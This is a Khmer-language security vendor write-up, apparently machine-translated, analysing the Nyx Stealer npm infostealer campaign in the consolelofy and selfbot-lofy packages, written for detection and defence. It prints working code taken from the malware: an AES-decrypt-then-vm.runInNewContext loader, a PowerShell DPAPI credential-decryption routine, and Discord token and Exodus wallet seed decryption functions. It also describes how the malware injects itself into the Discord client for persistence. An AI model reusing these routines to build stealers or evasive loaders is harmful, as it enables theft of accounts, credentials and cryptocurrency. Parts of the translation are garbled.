TL; កុង
ក្រុមស្រាវជ្រាវសន្តិសុខ Xygeni បានកំណត់អត្តសញ្ញាណយុទ្ធនាការ npm infostealer ដ៏ស្មុគស្មាញមួយដែលបានបញ្ជូនតាមរយៈកញ្ចប់ព្យាបាទពីរ៖ កុងសូលឡូហ្វី និង selfbot-lofy.
កំណែចុងក្រោយ (consolelofy@1.3.0) បង្កប់បន្ទុកទិន្នន័យដែលបានអ៊ិនគ្រីប AES ទំហំ 216KB ដែលឌិគ្រីបនៅពេលដំណើរការ និងប្រតិបត្តិតាមរយៈ vm.runInNewContext()ដោយសារតែតក្កវិជ្ជាព្យាបាទត្រូវបានអ៊ិនគ្រីបយ៉ាងពេញលេញ ម៉ាស៊ីនស្កេនឋិតិវន្តដែលពឹងផ្អែកលើការត្រួតពិនិត្យខ្សែអក្សរមិនអាចសង្កេតមើលឥរិយាបថរបស់វារហូតដល់ពេលប្រតិបត្តិបានទេ។
នៅពេលដែលបានឌិគ្រីបរួច បន្ទុកទិន្នន័យ ដែលត្រូវបានសម្គាល់ដោយផ្នែកខាងក្នុង អ្នកលួច Nyx, គោលដៅ៖
- សញ្ញាសម្គាល់ផ្ទៀងផ្ទាត់ Discord
- ហាងសម្រាប់ព័ត៌មានសម្គាល់កម្មវិធីរុករកតាមអ៊ីនធឺណិតជាង ៥០+
- ផ្នែកបន្ថែមកាបូបរូបិយប័ណ្ណគ្រីបតូជាង 90+
- វគ្គ Roblox, Instagram, Spotify, Steam, Telegram និង TikTok
- ភាពស្ថិតស្ថេររបស់កម្មវិធីកុំព្យូទ័រលើតុ Discord
កំណែទាំង 20 នៅទូទាំងកញ្ចប់ទាំងពីរត្រូវបានរាយការណ៍ និងបញ្ជាក់ថាមានមេរោគ។
ទិដ្ឋភាពទូទៅបច្ចេកទេសនៃ Infostealer npm នេះ
មិនដូចមេរោគពេលដំឡើងបែបប្រពៃណីទេ យុទ្ធនាការនេះពឹងផ្អែកលើ ពេលរត់ គំរូឌិគ្រីប.
មាន:
- គ្មានគំនិតអាក្រក់
preinstallorpostinstallhooks - គ្មានការហៅទូរស័ព្ទបណ្តាញពេលវេលាដំឡើងជាក់ស្តែងទេ
- គ្មានតក្កវិជ្ជាប្រមូលផលលិខិតបញ្ជាក់អត្តសញ្ញាណអត្ថបទធម្មតាទេ
បន្ទុកទិន្នន័យ (payload) នឹងធ្វើឱ្យសកម្មនៅពេលដែលម៉ូឌុលត្រូវបាននាំចូល។ មេរោគទាំងមូលត្រូវបានអ៊ិនគ្រីប ហើយលេចឡើងតែនៅក្នុងអង្គចងចាំនៅពេលដំណើរការប៉ុណ្ណោះ។
ការរចនានេះជៀសវាងការរកឃើញជាពិសេសក្នុងអំឡុងពេលដំឡើងកញ្ចប់។
របៀបដែល Infostealer npm នេះពិតជាដំណើរការ
មុននឹងវិភាគអ្វីដែល Nyx Stealer លួច យើងត្រូវយល់ របៀបដែលវាប្រតិបត្តិ.
តក្កវិជ្ជាព្យាបាទនៅខាងក្នុង npm infostealer នេះធ្វើតាមគំរូដែលស៊ីសង្វាក់គ្នា៖
កម្មវិធីផ្ទុកតូចមួយឌិគ្រីបបន្ទុកទិន្នន័យដែលបានអ៊ិនគ្រីបដ៏ធំមួយ ហើយប្រតិបត្តិវាដោយថាមវន្តនៅក្នុងបរិបទ Node.js VM។
ការរចនានេះគឺចេតនា។ អ្នកវាយប្រហារមិនបានលាក់បាំងមុខងារនៅពីក្រោយការបិទបាំងតែម្នាក់ឯងទេ ពួកគេកំពុង ការដកកូដព្យាបាទចេញពីភាពមើលឃើញឋិតិវន្តទាំងស្រុង.
គំរូប្រតិបត្តិកម្រិតខ្ពស់
នៅកម្រិតខ្ពស់ ឧបករណ៍រុំធ្វើរឿងបួនយ៉ាង៖
- ទាញយកសោ AES ពីឃ្លាសម្ងាត់ដែលបានអ៊ិនកូដដោយប្រើ SHA-256
- ឌិគ្រីបអត្ថបទអ៊ិនគ្រីប hex-encoded ធំមួយដោយប្រើ AES-256-CBC
- ប្រតិបត្តិ JavaScript ដែលបានឌិគ្រីបដោយប្រើ
vm.runInNewContext() - ផ្តល់នូវប្រអប់ខ្សាច់មួយដែលនៅតែបង្ហាញពីមូលដ្ឋានគ្រឹះនៃដំណើរការដ៏មានអានុភាព
សេចក្តីសង្ខេបបច្ចេកទេសស្នូល
| សមាសភាគ | ការកំណត់រចនាសម្ព័ន្ធ / តម្លៃ |
|---|---|
| ក្បួនដោះស្រាយ | អេអេស -២៦៥- ស៊ី។ ប៊ី។ ស៊ី។ ស៊ី |
| ដេរីវេគន្លឹះ | SHA-256 (ឃ្លាសម្ងាត់) |
| វ៉ិចទ័រចាប់ផ្តើម (IV) | ១៦ បៃនៃ ០x០០ |
| ការប្រតិបត្តិ | vm.runInNewContext(បានឌិគ្រីប, sandbox) |
សំខាន់ណាស់ ប្រអប់ខ្សាច់ឆ្លងកាត់៖
requireprocessBuffer- កម្មវិធីកំណត់ពេលវេលា
- ការនាំចេញម៉ូឌុល
នេះមានន័យថា payload ដែលបានឌិគ្រីបរក្សាសមត្ថភាពពេញលេញក្នុងការ៖
- ដំណើរការពងកូន
- អាន និងសរសេរឯកសារ
- ធ្វើការហៅទូរសព្ទតាមបណ្តាញ
- កែប្រែកម្មវិធីក្នុងស្រុក
នេះមិនមែនជា VM ដែលមានការរឹតបន្តឹងទេ។ វាគឺជា VM ដែលប្រើជា trampoline សម្រាប់ប្រតិបត្តិ។
លំនាំអ៊ិនគ្រីបពេលដំណើរការ (យន្តការប្រតិបត្តិស្នូល)
ម៉ាស៊ីនផ្ទុកមានទំហំតូច។
រាងកាយព្យាបាទមិនមែនទេ។
ខាងក្រោមនេះជាគំរូប្រតិបត្តិដែលមាននៅក្នុងកញ្ចប់៖
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } ហេតុអ្វីបានជាវាសំខាន់
បន្ទុកដែលបានឌិគ្រីប៖
- តើ មិនមាន មានជាអត្ថបទធម្មតានៅខាងក្នុងកញ្ចប់ npm
- មើលមិនឃើញចំពោះភាពសាមញ្ញ
grepឬការស្កេនខ្សែអក្សរឋិតិវន្ត - លេចឡើងតែនៅក្នុងអង្គចងចាំនៅពេលដំណើរការប៉ុណ្ណោះ
- ប្រតិបត្តិជាមួយសមត្ថភាពពេលដំណើរការ Node ពេញលេញ
ការរួមបញ្ចូលគ្នានៃការប្រតិបត្តិ AES + VM នេះគឺជាសូចនាករអាកប្បកិរិយាដ៏រឹងមាំមួយរបស់ npm infostealer ព្យាយាមគេចវេះការត្រួតពិនិត្យឋិតិវន្ត.
នៅក្នុងពាក្យផ្សេងទៀត:
ប្រសិនបើអ្នកស្កេនមែកធាងប្រភពកញ្ចប់ អ្នកមិនឃើញអ្នកលួចទេ។
អ្នកឃើញឧបករណ៍ឌិគ្រីប។
អ្វីដែលកើតឡើងបន្ទាប់ពីការឌិគ្រីប
នៅពេលត្រូវបានប្រតិបត្តិ Nyx Stealer បើកដំណើរការរលកប្រមូលទិន្នន័យស្របគ្នា។
រលកទី 1: ការស្រង់ចេញនូវអត្តសញ្ញាណប័ណ្ណកម្មវិធីរុករក
មេរោគ៖
- ទាញយក Python runtime ពី NuGet CDN
- ដំឡើងបណ្ណាល័យគ្រីបតូក្រាហ្វិច
- ស្រង់ឃ្លាំងព័ត៌មានសម្គាល់ដែលមានមូលដ្ឋានលើ Chromium
- ឌិគ្រីបអាថ៌កំបាំងដែលការពារដោយ DPAPI
ជំនួសឱ្យការចងក្រងការចងក្រងដើម វាប្រើប្រាស់ PowerShell ដើម្បីហៅ Windows DPAPI ដោយផ្ទាល់។
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } វិធីសាស្រ្តនេះ៖
- ជៀសវាងការចងក្រងវត្ថុបុរាណ
- ប្រើប្រាស់ API គ្រីបតូវីនដូដើម
- លាយបញ្ចូលគ្នាទៅក្នុងឧបករណ៍រដ្ឋបាល
វាគឺជាការឌិគ្រីបព័ត៌មានសម្គាល់កម្រិតប្រព័ន្ធប្រតិបត្តិការ មិនមែនការកោសទេ។
រលកទី 2: ការឌិគ្រីបថូខឹន Discord
កម្មវិធីលួចនេះយល់ដឹងអំពីពិធីការ។ វាយល់ពីទម្រង់ថូខឹនដែលបានអ៊ិនគ្រីបរបស់ Discord។
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } លំហូរប្រតិបត្តិការ៖
- ទាញយក Master Key ពី Discord
Local State - ឌិគ្រីបកូនសោមេតាមរយៈ DPAPI
- ឌិគ្រីបប្លុកសញ្ញាសម្ងាត់ AES-GCM
- ផ្ទៀងផ្ទាត់សញ្ញាសម្ងាត់ទល់នឹង Discord API
- បង្កើនប្រសិទ្ធភាពជាមួយ Nitro, ផ្លាកសញ្ញា, ព័ត៌មានវិក្កយបត្រ
នេះមិនមែនជាការចាក់ចោលព័ត៌មានសម្គាល់ទូទៅទេ។ វាគឺជាការលួចចូលវគ្គដែលស្គាល់ពិធីការ។
រលកទី 3: ការកំណត់គោលដៅកាបូបលុយឌីជីថល
កម្មវិធី npm infostealer រាយបញ្ជី៖
- ផ្នែកបន្ថែមកាបូបកម្មវិធីរុករកជាង 90+
- កាបូបដាក់លើកុំព្យូទ័រចំនួន ២៧
- ផ្លូវកាបូបត្រជាក់
- ឯកសារគ្រាប់ពូជ Exodus
ឧទាហរណ៍នៃការប៉ុនប៉ងឌិគ្រីបគ្រាប់ពូជ៖
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } ប្រសិនបើទទួលបានជោគជ័យ ការសម្របសម្រួលកាបូបលុយនឹងកើតឡើងភ្លាមៗ និងមិនអាចត្រឡប់វិញបាន។
នេះតំណាងឱ្យវ៉ិចទ័ររកប្រាក់តម្លៃខ្ពស់បំផុតរបស់យុទ្ធនាការ។
ភាពស្ថិតស្ថេរតាមរយៈការចាក់ Discord Desktop Injection
បន្ទាប់ពីប្រមូលព័ត៌មានបញ្ជាក់អត្តសញ្ញាណរួច Nyx Stealer ព្យាយាមរក្សាភាពស្ថិតស្ថេរដោយកែប្រែ local វិវាទ ម៉ាស៊ីនភ្ញៀវ។
គោលដៅ:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js លំដាប់ប្រតិបត្តិការ
Infostealer អនុវត្តជំហានដូចខាងក្រោម៖
- បញ្ចប់ដំណើរការ Discord ដែលកំពុងដំណើរការ
- កំណត់ទីតាំងវ៉ារ្យ៉ង់ Discord ដែលបានដំឡើង (Stable, Canary, PTB)
- សរសេរជាន់លើ
discord_desktop_core/index.js - បញ្ចូលតក្កវិជ្ជា webhook ដែលគ្រប់គ្រងដោយអ្នកវាយប្រហារ
- ចាប់ផ្ដើម Discord ឡើងវិញ
នេះធានាថាវគ្គ Discord នាពេលអនាគតនឹងលេចធ្លាយថូខឹនផ្ទៀងផ្ទាត់ភាពត្រឹមត្រូវថ្មីៗដោយស្វ័យប្រវត្តិ។
អ្វីដែលសំខាន់នោះ គឺការបន្តដំណើរការនេះមិនពឹងផ្អែកលើកិច្ចការដែលបានកំណត់ពេល ឬការកែប្រែបញ្ជីឈ្មោះទេ។ វាទាញយកអត្ថប្រយោជន៍ពីការកែប្រែកូដកម្រិតកម្មវិធី ដែលជាវិធីសាស្រ្តលួចលាក់ជាង។
ទោះបីជាកញ្ចប់ npm ដែលមានគំនិតអាក្រក់ត្រូវបានដកចេញនៅពេលក្រោយក៏ដោយ កម្មវិធី Discord នៅតែរងការគំរាមកំហែង។
ការប្រៀបធៀបបច្ចេកទេស៖ Selfbot ស្របច្បាប់ទល់នឹង npm Infostealer
| សមាសភាគ | បណ្ណាល័យស្របច្បាប់ | Nyx npm Infostealer |
|---|---|---|
| ការអ៊ីនគ្រីប | គ្មាន | បន្ទុកទិន្នន័យដែលបានអ៊ិនគ្រីប AES ពេញលេញ |
| ម៉ាស៊ីនបម្រើពេលដំណើរការ | មិនត្រូវការ | vm.runInNewContext ការប្រតិបត្តិ |
| ការចូលប្រើព័ត៌មានសម្ងាត់ | API របស់ Discord តែប៉ុណ្ណោះ | កម្មវិធីរុករកតាមអ៊ីនធឺណិត, កាបូប, DPAPI |
| ការទាញយកខាងក្រៅ | ទេ | ដំណើរការ Python តាមរយៈ NuGet |
| ការតស៊ូ | ទេ | ការចាក់បញ្ចូលអតិថិជន Discord |
| ការបង្កើតច្បាប់ | ស្វ័យប្រវត្តិកម្មបូត | ការលក់បន្តលិខិតសម្គាល់ |
ស្រទាប់អ៊ិនគ្រីបតែម្នាក់ឯងបំបែកយុទ្ធនាការនេះចេញពី fork ប្រភពបើកចំហរធម្មតា។
ស្វ័យប្រវត្តិកម្ម Discord ស្របច្បាប់គ្មានហេតុផលដើម្បីអ៊ិនគ្រីបមូលដ្ឋានកូដទាំងមូលរបស់វា បង្កើត PowerShell ដើម្បីចូលប្រើ DPAPI ទាញយកពេលវេលាដំណើរការខាងក្រៅ ឬកែប្រែផ្នែកខាងក្នុងនៃកម្មវិធីកុំព្យូទ័រលើតុនោះទេ។ នៅពេលដែលសមត្ថភាពទាំងនោះលេចឡើងនៅក្នុងភាពអាស្រ័យដែលអះអាងថាធ្វើស្វ័យប្រវត្តិកម្មអន្តរកម្ម Discord ភាពមិនស៊ីគ្នាខាងស្ថាបត្យកម្មក្លាយជាមិនអាចមើលរំលងបាន។
ពីទស្សនៈស៊ើបអង្កេត កម្មវិធី npm infostealer នេះបន្សល់ទុកស្លាកស្នាមជាច្រើនស្រទាប់។ ទោះជាយ៉ាងណាក៏ដោយ សូចនាករដែលអាចទុកចិត្តបំផុតមិនមែនជា URL ដែលបានអ៊ិនកូដ ឬផ្លូវឯកសារជាក់លាក់នោះទេ ព្រោះវាអាចផ្លាស់ប្តូររវាងកំណែផ្សេងៗ។ ផ្ទុយទៅវិញ សញ្ញាប្រើប្រាស់បានយូរគឺជារចនាសម្ព័ន្ធ។
នៅកម្រិតកញ្ចប់ ទង់ក្រហមខ្លាំងបំផុតគឺការរួមបញ្ចូលគ្នានៃ payload ដែលបានអ៊ិនគ្រីបធំមួយ និងការរុំឌិគ្រីបពេលដំណើរការ ដែលប្រតិបត្តិភ្លាមៗតាមរយៈ vm.runInNewContext()ខណៈពេលដែលការអ៊ិនគ្រីបតែម្នាក់ឯងមិនមែនជាការព្យាបាទដោយធម្មជាតិនោះទេ ការប្រើប្រាស់ការឌិគ្រីប AES បន្តដោយការប្រតិបត្តិ VM ថាមវន្តនៅក្នុងកញ្ចប់ឧបករណ៍ប្រើប្រាស់ Discord គឺមានភាពមិនប្រក្រតីខ្លាំង។
នៅកម្រិតម៉ាស៊ីន (host level) គំរូគួរឱ្យសង្ស័យរួមមានសកម្មភាពឌិគ្រីប DPAPI ដែលមិននឹកស្មានដល់ ការបង្កើតដំណើរការពីបរិបទនៃការពឹងផ្អែក Node.js និងការកែប្រែឯកសារកម្មវិធីក្នុងស្រុកដែលមិនគួរត្រូវបានផ្លាស់ប្តូរដោយបណ្ណាល័យភាគីទីបីឡើយ។ ដូចគ្នានេះដែរ នៅស្រទាប់បណ្តាញ ការទំនាក់ទំនងបែប webhook ចេញដែលផ្តួចផ្តើមដោយការពឹងផ្អែកនៃការអភិវឌ្ឍន៍តំណាងឱ្យភាពមិនប្រក្រតីដែលមានអត្ថន័យមួយទៀត។
ម្យ៉ាងវិញទៀត ផ្ទៃរកឃើញមិនមែនជាសូចនាករតែមួយនៃការសម្របសម្រួលនោះទេ។ វាគឺជាទំនាក់ទំនងនៃការអ៊ិនគ្រីប ការប្រតិបត្តិពេលដំណើរការ ការចូលប្រើព័ត៌មានសម្គាល់ និងឥរិយាបថនៃការបន្តដែលបង្ហាញពីការគំរាមកំហែង។
ការរកឃើញ និងការកាត់បន្ថយជាមួយ Xygeni
អ៊ីនហ្វូស្តេឡារ npm នេះត្រូវបានកំណត់អត្តសញ្ញាណដោយ ការព្រមានជាមុនអំពីមេរោគ Xygeni (MEW) តាមរយៈទំនាក់ទំនងអាកប្បកិរិយាជាស្រទាប់ៗ ជាជាងការផ្គូផ្គងហត្ថលេខាសាមញ្ញ។
ជំនួសឲ្យការស្វែងរកខ្សែអក្សរព្យាបាទដែលគេស្គាល់ MEW វាយតម្លៃភាពមិនប្រក្រតីនៃរចនាសម្ព័ន្ធទូទាំងដើមឈើប្រភពទាំងមូល។ ក្នុងករណីនេះ ការរកឃើញបានកើតចេញពីការបញ្ចូលគ្នានៃសញ្ញាជាច្រើន៖ ទម្លាប់ឌិគ្រីប AES ដែលបានបង្កប់នៅក្នុងចំណុចចូលម៉ូឌុល ការប្រតិបត្តិភ្លាមៗនៅក្នុងបរិបទ VM និងភាពមិនស៊ីគ្នានៃសមត្ថភាពទៅនឹងចេតនាច្បាស់លាស់។
អ្វីដែលសំខាន់នោះគឺថា គ្មានសញ្ញាណាមួយទាំងនេះតែម្នាក់ឯងបង្ហាញពីចេតនាអាក្រក់នោះទេ។ ទោះជាយ៉ាងណាក៏ដោយ នៅពេលដែលវិភាគរួមគ្នា ពួកវាបង្ហាញពីការប៉ុនប៉ងលាក់បាំងឥរិយាបថពេលដំណើរការ។ វិធីសាស្រ្តស្រទាប់នេះកាត់បន្ថយភាពវិជ្ជមានមិនពិតយ៉ាងច្រើន ខណៈពេលដែលកំណត់អត្តសញ្ញាណការគំរាមកំហែងខ្សែសង្វាក់ផ្គត់ផ្គង់ដែលមានទំនុកចិត្តខ្ពស់។
លើសពីនេះ ករណីនេះបង្ហាញពីមូលហេតុដែលការត្រួតពិនិត្យពេលវេលាដំឡើងតែម្នាក់ឯងមិនគ្រប់គ្រាន់។ តក្កវិជ្ជាព្យាបាទមិនមាននៅក្នុងស្គ្រីបវដ្តជីវិតទេ។ វាធ្វើឱ្យសកម្មតែបន្ទាប់ពីម៉ូឌុលផ្ទុក ហើយអាចមើលឃើញតែនៅពេលដែលឌិគ្រីបនៅក្នុងអង្គចងចាំ។ ដូច្នេះ ការការពារប្រកបដោយប្រសិទ្ធភាពតម្រូវឱ្យមានការវិភាគដែលដឹងពីការអ៊ិនគ្រីប ការទទួលស្គាល់គំរូអាកប្បកិរិយា និងការត្រួតពិនិត្យការពឹងផ្អែកជាបន្តបន្ទាប់លើសពីព្រឹត្តិការណ៍ដំឡើង។
ការលុបកម្មវិធីចុះបញ្ជីគឺជាការឆ្លើយតបភ្លាមៗ។ ការវិភាគដែលដឹងពីពេលដំណើរការគឺជាការបង្ការ។
ហេតុអ្វីបានជា Infostealer npm នេះសំខាន់
Nyx Stealer តំណាងឱ្យការវិវត្តន៍រចនាសម្ព័ន្ធនៅក្នុងមេរោគដែលមានមូលដ្ឋានលើ npm។
តាមប្រវត្តិសាស្ត្រ កញ្ចប់ព្យាបាទជាច្រើនពឹងផ្អែកលើស្គ្រីបពេលដំឡើងដែលអាចមើលឃើញ ឬចំណុចបញ្ចប់នៃការលួចយកព័ត៌មានសម្ងាត់ដែលអាចមើលឃើញ។ ផ្ទុយទៅវិញ យុទ្ធនាការនេះអ៊ិនគ្រីបបន្ទុកទិន្នន័យរបស់វា ពន្យារពេលការប្រតិបត្តិទៅពេលដំណើរការ ទាញយកអត្ថប្រយោជន៍ពី API ប្រព័ន្ធប្រតិបត្តិការស្របច្បាប់ និងបង្កើតនិរន្តរភាពនៅក្នុងកម្មវិធីដែលទុកចិត្ត។
ជាលទ្ធផល អ្នកវាយប្រហារមិនចាំបាច់កេងប្រវ័ញ្ចហេដ្ឋារចនាសម្ព័ន្ធ npm ដោយខ្លួនឯងទេ។ ផ្ទុយទៅវិញ ការវាយប្រហារទទួលបានជោគជ័យ ពីព្រោះការដំឡើង dependency បង្កប់ន័យពីការជឿទុកចិត្ត។ អ្នកអភិវឌ្ឍន៍សន្មតថាការនាំចូលបណ្ណាល័យគឺជាប្រតិបត្តិការដែលមានសុវត្ថិភាព ជាពិសេសនៅពេលដែលវាបង្ហាញខ្លួនវាជាសមហេតុផលនៃឧបករណ៍ដ៏ពេញនិយមមួយ។
នៅពេលដែលប្រព័ន្ធអេកូឡូស៊ីបន្តរីកចម្រើន និង forks រីកសាយភាយ ព្រំដែនជឿទុកចិត្តដោយប្រយោលនោះក្លាយជាផ្ទៃវាយប្រហារដ៏ទាក់ទាញកាន់តែខ្លាំងឡើង។ ដូច្នេះ ការការពារប្រឆាំងនឹងអ្នកលួចចូលប្រព័ន្ធ npm ទំនើបៗតម្រូវឱ្យទទួលស្គាល់លំនាំស្ថាបត្យកម្មជាជាងការស្វែងរកខ្សែអក្សរឋិតិវន្ត។
នៅទីបំផុត យុទ្ធនាការនេះពង្រឹងមេរៀនដ៏សំខាន់មួយនៅក្នុង software supply chain security៖ ការគំរាមកំហែងដ៏គ្រោះថ្នាក់បំផុតមិនមែនជាការគំរាមកំហែងដែលមើលទៅមានចេតនាអាក្រក់នៅពេលមើលដំបូងនោះទេ ប៉ុន្តែជាការគំរាមកំហែងដែលហាក់ដូចជាស្របច្បាប់រហូតដល់ពេលដំណើរការបង្ហាញពីឥរិយាបថពិតរបស់វា។




